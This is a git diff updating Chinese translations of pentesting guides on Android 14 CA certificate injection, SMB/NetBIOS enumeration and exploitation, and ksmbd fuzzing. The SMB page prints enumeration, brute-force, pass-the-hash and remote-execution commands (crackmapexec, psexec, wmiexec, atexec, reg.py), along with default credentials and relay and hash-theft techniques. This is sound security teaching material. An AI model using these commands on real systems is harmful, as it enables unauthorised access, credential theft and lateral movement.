### Learn how to create a Magisc module -查看 [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) +查看 https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437 ## Post Android 14 -在最新的 Android 14 版本中,对系统信任的证书颁发机构 (CA) 证书的处理方式发生了重大变化。之前,这些证书存放在 **`/system/etc/security/cacerts/`**,具有 root 权限的用户可以访问并修改它们,从而能够立即在整个系统中生效。然而,在 Android 14 中,存储位置已迁移到 **`/apex/com.android.conscrypt/cacerts`**,这是 **`/apex`** 路径内的目录,天生为不可变。 +在最新的 Android 14 版本中,系统受信任的 CA 证书处理方式发生了重大变化。此前,这些证书存放在 **`/system/etc/security/cacerts/`**,有 root 权限的用户可以访问和修改,从而立即在系统范围内生效。然而在 Android 14 中,存储位置已移动到 **`/apex/com.android.conscrypt/cacerts`**,这是位于 **`/apex`** 路径下的目录,而该目录本质上是不可变的。 -试图将 **APEX cacerts path** 重新挂载为可写会失败,系统不允许此类操作。即使尝试卸载或用临时文件系统 (tmpfs) 覆盖该目录,也无法绕过这种不可变性;应用程序仍会访问原始证书数据,而不受文件系统层面更改的影响。这种强韧性来自 **`/apex`** 挂载被配置为具有 PRIVATE propagation,确保 **`/apex`** 目录内的任何修改不会影响其他进程。 +尝试将 **APEX cacerts 路径** 重新挂载为可写将会失败,系统不允许此类操作。即使尝试卸载或用临时文件系统(tmpfs)覆盖该目录,也无法绕过不可变性;应用程序仍然会访问原始的证书数据,而不会受文件系统层面的更改影响。这种鲁棒性源于 **`/apex`** 挂载被配置为 PRIVATE 传播,确保对 **`/apex`** 目录的任何修改不会影响其他进程。 -Android 的初始化涉及 `init` 进程,该进程在启动操作系统时还会启动 Zygote 进程。Zygote 负责以包含私有 **`/apex`** 挂载的新挂载命名空间启动应用进程,从而将对该目录的更改与其他进程隔离开来。 +Android 的初始化由 `init` 进程负责,在启动操作系统时,`init` 同时也会启动 Zygote 进程。Zygote 负责以包含私有 **`/apex`** 挂载的新挂载命名空间启动应用进程,从而将对该目录的更改与其他进程隔离。 -不过,对于需要修改 **`/apex`** 目录中系统信任 CA 证书的情况,存在一种变通方法。该方法涉及手动重新挂载 **`/apex`** 以移除 PRIVATE propagation,从而使其可写。具体流程包括将 **`/apex/com.android.conscrypt`** 的内容复制到其他位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读限制,然后将内容恢复到 **`/apex`** 中的原始位置。该方法需要快速操作以避免系统崩溃。为确保这些更改在系统范围内生效,建议重启 `system_server`,这将有效重启所有应用并使系统恢复一致状态。 +尽管如此,仍然存在一种变通方法,适用于需要修改 **`/apex`** 目录下系统受信任 CA 证书的情况。该方法涉及手动重新挂载 **`/apex`** 以移除 PRIVATE 传播,从而使其可写。该过程包括将 **`/apex/com.android.conscrypt`** 的内容复制到另一位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读限制,然后将内容恢复回 **`/apex`** 的原位置。该方法需要快速执行以避免系统崩溃。为了确保这些更改在系统范围内生效,建议重启 `system_server`,这会有效地重启所有应用并使系统回到一致状态。 ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -131,24 +131,26 @@ wait # Launched in parallel - wait for completion here echo "System certificate injected" ``` -### 通过 NSEnter 进行 Bind-mounting +### Bind-mounting 通过 NSEnter -1. **设置可写目录**:最初,通过在现有的非-APEX 系统证书目录上方挂载 `tmpfs` 来建立一个可写目录。通过以下命令实现: +1. **设置可写目录**:最初,通过在现有的 non-APEX 系统证书目录上挂载 `tmpfs` 来建立一个可写目录。 这可以通过以下命令实现: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Preparing CA Certificates**: 在设置可写目录之后,应将打算使用的 CA 证书复制到该目录。 这可能涉及从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。 必须相应地调整这些证书的权限和 SELinux 标签。 -3. **Bind Mounting for Zygote**: 使用 `nsenter` 进入 Zygote 的 mount namespace。Zygote 是负责启动 Android 应用的进程,需要这一步以确保此后启动的所有应用都会使用新配置的 CA 证书。 使用的命令为: +2. **准备 CA 证书**: 在可写目录设置完成后,需将要使用的 CA 证书复制到该目录中。这可能包括从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。必须相应地调整这些证书的权限和 SELinux 标签。 +3. **为 Zygote 进行绑定挂载**: 使用 `nsenter` 进入 Zygote 的挂载命名空间。Zygote 是负责启动 Android 应用的进程,必须执行此步骤以确保此后启动的所有应用都使用新配置的 CA 证书。使用的命令为: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -4. **将更改应用于正在运行的应用程序**: 要将更改应用到已运行的应用程序,使用 `nsenter` 再次单独进入每个应用的命名空间并执行类似的 bind mount。所需的命令是: +这可确保每个新启动的应用都会遵循已更新的 CA 证书设置。 + +4. **将更改应用于正在运行的应用**:要将这些更改应用到已在运行的应用上,仍然使用 `nsenter` 单独进入每个应用的命名空间,并执行类似的 bind mount。所需的命令为: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternative Approach - Soft Reboot**: 另一种方法是在 `init` 进程(PID 1)上执行 bind mount,然后通过 `stop && start` 命令对操作系统进行 soft reboot。该方法会将更改传播到所有 namespaces,避免逐个处理每个正在运行的 app。不过,由于需要重启,通常不太推荐。 +5. **Alternative Approach - Soft Reboot**: 一种替代方法是在 `init` 进程 (PID 1) 上执行 bind mount,然后通过 `stop && start` 命令对操作系统进行软重启。该方法会将更改传播到所有命名空间,从而无需逐一处理每个正在运行的应用。但由于重启带来的不便,这种方法通常不太推荐。 -## References +## 参考资料 - [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index fb8e387cd..c67b95c8c 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,61 +4,60 @@ ## **端口 139** -_**网络基础输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使位于局域网 (LAN) 内的应用程序、PC 和桌面能够与网络硬件交互,并**促进数据在网络中的传输**。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,通常与计算机名不同。当一个应用程序(作为客户端)向另一个应用程序(作为服务器)发出“调用”命令并使用 **TCP 端口 139** 时,两个应用程序之间的 NetBIOS 会话就会启动。 +The _**Network Basic Input Output System**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 中的应用程序、PC 和台式机能够与网络硬件交互,并**促进网络上的数据传输**。运行在 NetBIOS 网络上的软件应用的标识和位置是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,且通常与计算机名不同。当一个应用(作为客户端)发出命令去“调用”另一个应用(作为服务器),并使用 **TCP Port 139** 时,会在两个应用之间建立 NetBIOS 会话。 ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## 端口 445 -从技术上讲,端口 139 被称为 ‘NBT over IP’,而端口 445 则被标识为 ‘SMB over IP’。缩写 **SMB** 代表 ‘**Server Message Blocks**’,也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于在网络节点之间实现对文件、打印机、串口的共享访问,并促进各种形式的通信。 +从技术上讲,端口 139 被称为 ‘NBT over IP’,而端口 445 被识别为 ‘SMB over IP’。缩写 **SMB** 代表 ‘**Server Message Blocks**’,在现代也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种通信。 -例如,在 Windows 环境中,可以直接通过端口 445 在 TCP/IP 上运行 SMB,从而无需通过 NetBIOS over TCP/IP。相反,在其他系统上则可能使用端口 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。 +例如,在 Windows 环境中,强调 SMB 可以直接在 TCP/IP 上运行,通过使用端口 445,从而无需 NetBIOS over TCP/IP。相反,在其他系统上会使用端口 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。 ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -Server Message Block (SMB) 协议采用客户端-服务器模型,旨在管理对文件、目录以及诸如打印机和路由器等网络资源的访问。SMB 主要用于 Windows 操作系统系列,并保持向后兼容,允许运行较新 Microsoft 操作系统的设备与运行较旧版本的设备无缝交互。此外,Samba 项目提供了一个免费软件实现,使得在 Linux 和 Unix 系统上实现 SMB 成为可能,从而促进通过 SMB 的跨平台通信。 +**Server Message Block (SMB)** 协议采用 **client-server** 模型,旨在规范对 **access to files**、目录以及打印机和路由器等其他网络资源的访问。SMB 主要用于 **Windows** 操作系统系列,保证向后兼容,使运行较新微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个自由软件实现,使 SMB 能在 **Linux** 和 Unix 系统上运行,从而实现通过 SMB 的跨平台通信。 -Shares 表示本地文件系统的任意部分,可以由 SMB 服务器提供,使得对客户端可见的层次结构在一定程度上独立于服务器的实际结构。访问控制列表 (ACLs) 定义了访问权限,允许对用户权限进行细粒度控制,包括诸如 `execute`、`read` 和 `full access` 之类的属性。这些权限可以根据 shares 分配给单个用户或组,并且与服务器上设置的本地权限是分离的。 +Shares,表示 **arbitrary parts of the local file system**,可以由 SMB 服务器提供,使客户端可见的层级在某种程度上**独立**于服务器的实际结构。**Access Control Lists (ACLs)** 定义了 **access rights**,允许对用户权限进行**fine-grained control**,包括诸如 **`execute`**、**`read`** 和 **`full access`** 等属性。这些权限可以基于 shares 分配给单个用户或组,并且与服务器上设置的本地权限不同。 -### IPC$ 共享 +### IPC$ Share -可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过命名管道暴露的服务进行交互。实用工具 `enum4linux` 对此非常有用。正确使用时,它可以获取: +可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过 named pipes 暴露的服务进行交互。工具 `enum4linux` 对此非常有用。正确使用时,它可以获取: -- 操作系统信息 +- 有关操作系统的信息 - 父域的详细信息 - 本地用户和组的汇总 -- 可用 SMB shares 的信息 +- 有关可用 SMB 共享的信息 - 有效的系统安全策略 -此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全状况至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必不可少的。 +此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必要的。 ```bash enum4linux -a target_ip ``` -上面的命令示例说明了如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整的枚举。 +上面的命令是一个示例,说明如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整 enumeration。 ## 什么是 NTLM -如果你不了解 NTLM,或者想知道它如何工作以及如何滥用它,你会觉得这篇关于 **NTLM** 的页面非常有趣,页面解释了 **该协议如何工作以及如何利用它:** - +如果你不知道什么是 NTLM,或想了解它如何工作以及如何滥用它,你会发现这页关于 **NTLM** 的内容非常有趣,里面解释了 **该协议如何工作以及如何利用它:** {{#ref}} ../../windows-hardening/ntlm/ {{#endref}} -## **服务器枚举** +## **服务器 Enumeration** -### **Scan** 在网络中搜索主机: +### **Scan** 扫描网络以搜索主机: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB 服务器版本 -要查找针对 SMB 版本的潜在漏洞,重要的是要知道正在使用的版本。如果其他工具未显示此信息,你可以: +要查找针对 SMB 的可能漏洞,需要先知道正在使用的 SMB 版本。如果其他工具未显示该信息,可以: -- 使用 **MSF** 辅助模块 `**auxiliary/scanner/smb/smb_version**` -- 或者这个脚本: +- 使用 **MSF** 的 auxiliary 模块 `**auxiliary/scanner/smb/smb_version**` +- 或使用此脚本: ```bash #!/bin/sh #Author: rewardone @@ -80,12 +79,12 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **可能** 的凭证 +### **可能的** 凭证 -| **用户名** | **常见密码** | +| **用户名** | **Common passwords** | | -------------------- | ----------------------------------------- | -| _(空)_ | _(空)_ | -| guest | _(空)_ | +| _(空)_ | _(空)_ | +| guest | _(空)_ | | Administrator, admin | _(空)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | @@ -120,9 +119,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### 枚举用户、组和已登录用户 +### 枚举用户、组与已登录用户 -这些信息应该已经由 enum4linux 和 enum4linux-ng 收集。 +这些信息应该已经从 enum4linux 和 enum4linux-ng 收集到。 ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -171,7 +170,7 @@ rpcclient-enumeration.md ### 列出共享文件夹 -建议始终检查是否可以访问任何资源;如果你没有 credentials,请尝试使用 **null** **credentials/guest user**。 +建议始终检查是否可以访问任何内容;如果没有 credentials,请尝试使用 **null** **credentials/guest user**。 ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -185,7 +184,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **连接/列出 共享文件夹** +### **连接/列出共享文件夹** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,9 +196,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **手动枚举 Windows 共享并连接到它们** +### **手动枚举 windows 共享并连接到它们** -目标主机可能限制了显示其共享,当你尝试列出它们时看起来似乎没有任何可连接的共享。因此值得花点时间尝试手动连接某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时留意诸如 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 之类的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。 +有可能你被限制无法显示主机的任何共享,当你尝试列出它们时,看起来似乎没有可连接的共享。因此值得短暂地尝试手动连接到某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时寻找类似 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。 Common share names for windows targets are @@ -212,7 +211,7 @@ Common share names for windows targets are - SYSVOL - NETLOGON -(常见共享名来自 _**Network Security Assessment 3rd edition**_) +(Common share names from _**Network Security Assessment 3rd edition**_) 你可以使用以下命令尝试连接它们 ```bash @@ -260,14 +259,14 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC 管理单元(图形界面) +MMC Snap-in(图形界面) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (图形界面),在地址栏输入 `\\\` 查看可用的非隐藏共享。 +explorer.exe(图形界面),输入 `\\\` 查看可用的非隐藏共享。 ### 挂载共享文件夹 ```bash @@ -276,7 +275,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **下载文件** -阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 建立连接。 +请阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 进行连接。 ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -294,13 +293,13 @@ smbclient /// Commands: - mask: 指定用于过滤目录中文件的掩码(例如 "" 表示所有文件) -- recurse: 切换是否递归(默认:off) -- prompt: 切换是否提示文件名(默认:on) +- recurse: 切换递归(默认:off) +- prompt: 切换是否关闭文件名提示(默认:on) - mget: 将所有与掩码匹配的文件从主机复制到客户端机器 -(_信息来自 smbclient 的手册页_) +(_信息来自 smbclient 的 manpage_) -### Domain Shared Folders Search +### 域共享文件夹搜索 - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash @@ -312,42 +311,42 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -从共享中特别值得关注的是名为 **`Registry.xml`** 的文件,因为它们**可能包含密码**,这些密码属于通过 **Group Policy** 配置为 **autologon** 的用户。或者 **`web.config`** 文件,因为它们包含凭证。 +在共享目录中特别有价值的文件是 **`Registry.xml`**,因为它们 **可能包含 passwords**,用于通过 **autologon** 配置并通过 **Group Policy** 应用的用户。或者 **`web.config`** 文件,因为它们包含凭据。 > [!TIP] -> **SYSVOL share** 对域内所有经过身份验证的用户都是**可读的**。在其中你可能会**发现**许多不同的 batch、VBScript 和 PowerShell **脚本**。\ -> 你应该**检查**其中的**脚本**,因为你可能会**找到**诸如**密码**之类的敏感信息。 +> **SYSVOL share** 对域中的所有经过身份验证的用户都是 **可读的**。在那里你可能会 **找到** 许多不同的 batch、VBScript 和 PowerShell **scripts**。\ +> 你应该 **检查** 其中的 **scripts**,因为你可能会 **找到** 敏感信息,例如 **passwords**。 ## 读取注册表 -你可能能够使用一些已发现的凭据来**读取注册表**。Impacket **`reg.py`** 允许你尝试: +您可能可以使用发现的凭证**读取注册表**。Impacket **`reg.py`** 允许您尝试: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## 后渗透 +## Post Exploitation -The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**: +一个 **Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,并可能包含一些 **危险配置**: -| **设置** | **描述** | +| **设置** | **说明** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | 允许列出当前可用的共享吗? | -| `read only = no` | 禁止创建和修改文件吗? | -| `writable = yes` | 允许用户创建和修改文件吗? | -| `guest ok = yes` | 允许在不使用密码的情况下连接到服务吗? | +| `browseable = yes` | 是否允许列出当前共享中可用的共享? | +| `read only = no` | 是否禁止创建和修改文件? | +| `writable = yes` | 是否允许用户创建和修改文件? | +| `guest ok = yes` | 是否允许在不使用密码的情况下连接到服务? | | `enable privileges = yes` | 是否遵循分配给特定 SID 的权限? | -| `create mask = 0777` | 新创建的文件应被赋予什么权限? | -| `directory mask = 0777` | 新创建的目录应被赋予什么权限? | -| `logon script = script.sh` | 用户登录时需要执行哪个脚本? | -| `magic script = script.sh` | 当脚本被关闭时应执行哪个脚本? | -| `magic output = script.out` | magic script 的输出需要存储在哪里? | +| `create mask = 0777` | 新创建的文件应被分配哪些权限? | +| `directory mask = 0777` | 新创建的目录应被分配哪些权限? | +| `logon script = script.sh` | 在用户登录时需要执行哪个脚本? | +| `magic script = script.sh` | 当脚本关闭时应执行哪个脚本? | +| `magic output = script.out` | magic 脚本的输出需要存储在哪里? | The command `smbstatus` gives information about the **server** and about **who is connected**. ## 使用 Kerberos 进行认证 -You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**: +你可以使用工具 **smbclient** 和 **rpcclient** 对 **Kerberos** 进行 **认证**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -356,7 +355,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec 可以通过 **abusing** 任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec** 是 **默认** 方法。你可以使用参数 `--exec-method` 指定要使用的选项: +crackmapexec 可以通过利用任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec** 是 **default** 方法。你可以使用参数 `--exec-method` 指定要使用的选项: ```bash apt-get install crackmapexec @@ -380,9 +379,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -两者都会 **创建一个新服务**(使用 _\pipe\svcctl_ 通过 SMB 在受害者机器上)并使用它来 **执行某些操作**(**psexec** 会 **上传** 可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并将 payload 放入参数中 --**file-less technique-**-)。\ +两者都会在受害者机器上(通过 SMB 使用 _\pipe\svcctl_)**创建一个新服务**,并用它来**执行某些东西**(**psexec** 会**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并在参数中放入 payload --**file-less technique-**-).\ **更多信息** 关于 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ -在 **kali** 上位于 /usr/share/doc/python3-impacket/examples/ +在 **kali** 它位于 /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -390,19 +389,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -使用 **参数**`-k` 可以使用 **kerberos** 进行认证,而不是 **NTLM** +使用 **parameter**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证 ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -通过 DCOM 使用 **port 135.**\ 隐蔽地执行命令 shell,既不接触磁盘也不运行新的服务。 -在 **kali** 上,它位于 /usr/share/doc/python3-impacket/examples/ +通过 DCOM 经由 **port 135.** 隐蔽地执行命令 shell,无需接触磁盘或运行新的服务。\ +在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -使用 **参数**`-k` 可使用 **kerberos** 验证,而非 **NTLM** +使用 **参数**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证。 ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -412,7 +411,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) 通过任务计划程序执行命令(通过 SMB 使用 _\pipe\atsvc_)。\ -在 **kali** 中它位于 /usr/share/doc/python3-impacket/examples/ +在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -421,27 +420,27 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -### ksmbd 攻击面 和 SMB2/SMB3 协议 fuzzing (syzkaller) +### ksmbd 攻击面和 SMB2/SMB3 协议 fuzzing (syzkaller) {{#ref}} ksmbd-attack-surface-and-fuzzing-syzkaller.md {{#endref}} -## **Bruteforce 用户凭据** +## **Bruteforce 用户凭证** -**不建议这样做,如果超过允许的最大尝试次数,可能会导致账号被锁定** +**不建议这样做,如果超过允许的最大尝试次数,你可能会导致账户被锁定** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -This attack uses the Responder toolkit to **捕获 SMB 身份验证会话** on an internal network, and **中继** them to a **目标机器**. If the authentication **会话成功**, it will automatically drop you into a **系统** **shell**.\ +此攻击使用 Responder toolkit 在内部网络上 **捕获 SMB 认证会话**,并将它们 **中继** 到 **target machine**。如果认证 **会话成功**,它会自动让你进入一个 **system** **shell**。\ [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"` +当页面尝试通过 SMB 访问某些内容时(例如:`img src="\\10.10.10.10\path\image.jpg"`),Windows 库 URLMon.dll 会自动尝试对主机进行身份验证。 This happens with the functions: @@ -460,7 +459,7 @@ Which are used by some browsers and tools (like Skype) ## NTLM Theft -Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack). +类似于 SMB Trapping,将恶意文件植入目标系统(例如通过 SMB)可以诱发 SMB 身份验证尝试,从而使用 Responder 等工具截获 NetNTLMv2 哈希。该哈希随后可以离线破解,或用于 [SMB relay attack](#smb-relay-attack)。 [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 82ddba144..cc0ae533a 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,14 +3,14 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -本页抽象出使用 syzkaller 对 Linux 内核 SMB 服务器 (ksmbd) 进行驱动与模糊测试的实用技术。侧重通过配置扩展协议攻击面、构建能够串联 SMB2 操作的有状态 harness、生成语法合法的 PDUs、将变异偏向覆盖较弱的代码路径,以及利用 syzkaller 的特性(如 focus_areas 和 ANYBLOB)。原始研究列举了具体 CVE,此处强调可复用的方法论和可适配到你自己环境的具体片段。 +本页总结了使用 syzkaller 对 Linux 内核内置 SMB 服务器 (ksmbd) 进行驱动与模糊测试的实用技术。重点在于通过配置扩展协议攻击面、构建能串联 SMB2 操作的有状态 harness、生成语法有效的 PDU、将变异偏向弱覆盖的代码路径,以及利用 syzkaller 的特性(如 focus_areas 和 ANYBLOB)。虽然原始研究列举了具体 CVE,本处强调可复用的方法论和可适配到你自己环境的具体片段。 -目标范围:SMB2/SMB3 over TCP。Kerberos 和 RDMA 被故意排除以简化 harness。 +目标范围:SMB2/SMB3 over TCP。Kerberos 和 RDMA 为了保持 harness 简单被刻意排除在外。 --- ## Expand ksmbd Attack Surface via Configuration -默认的最小 ksmbd 配置会使服务器的大部分功能未被测试。启用以下特性以驱动服务器进入更多解析器/处理器并到达更深的代码路径: +默认的最小 ksmbd 配置会让服务器的大量部分未被测试。启用下列特性以驱动服务器触发更多解析器/处理器并到达更深的代码路径: - Global-level - Durable handles @@ -20,7 +20,7 @@ - Oplocks (on by default) - VFS objects -启用这些会增加以下模块的执行: +启用这些会增加对如下模块的执行覆盖: - smb2pdu.c (command parsing/dispatch) - ndr.c (NDR encode/decode) - oplock.c (oplock request/break) @@ -29,25 +29,25 @@ - vfs_cache.c (lookup cache) Notes -- 精确选项取决于你发行版的 ksmbd userspace (ksmbd-tools)。查看 /etc/ksmbd/ksmbd.conf 以及每个 share 的配置区块以启用 durable handles、leases、oplocks 和 VFS objects。 -- Multi-channel 与 durable handles 会改变状态机和生命周期,在并发条件下常常暴露 UAF/refcount/OOB 类错误。 +- Exact options depend on your distro’s ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects. +- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency. --- ## Authentication and Rate-Limiting Adjustments for Fuzzing -SMB3 需要一个有效 session。 在 harness 中实现 Kerberos 会增加复杂性,因此模糊测试时优先使用 NTLM/guest: +SMB3 需要一个有效会话。在 harness 中实现 Kerberos 会增加复杂性,因此模糊测试优先考虑 NTLM/guest: -- 允许 guest 访问并将 map to guest 设为 bad user,这样未知用户会回退到 GUEST。 -- 接受 NTLMv2(如果被禁用则打补丁)。这能让握手更简单,同时覆盖 SMB3 的代码路径。 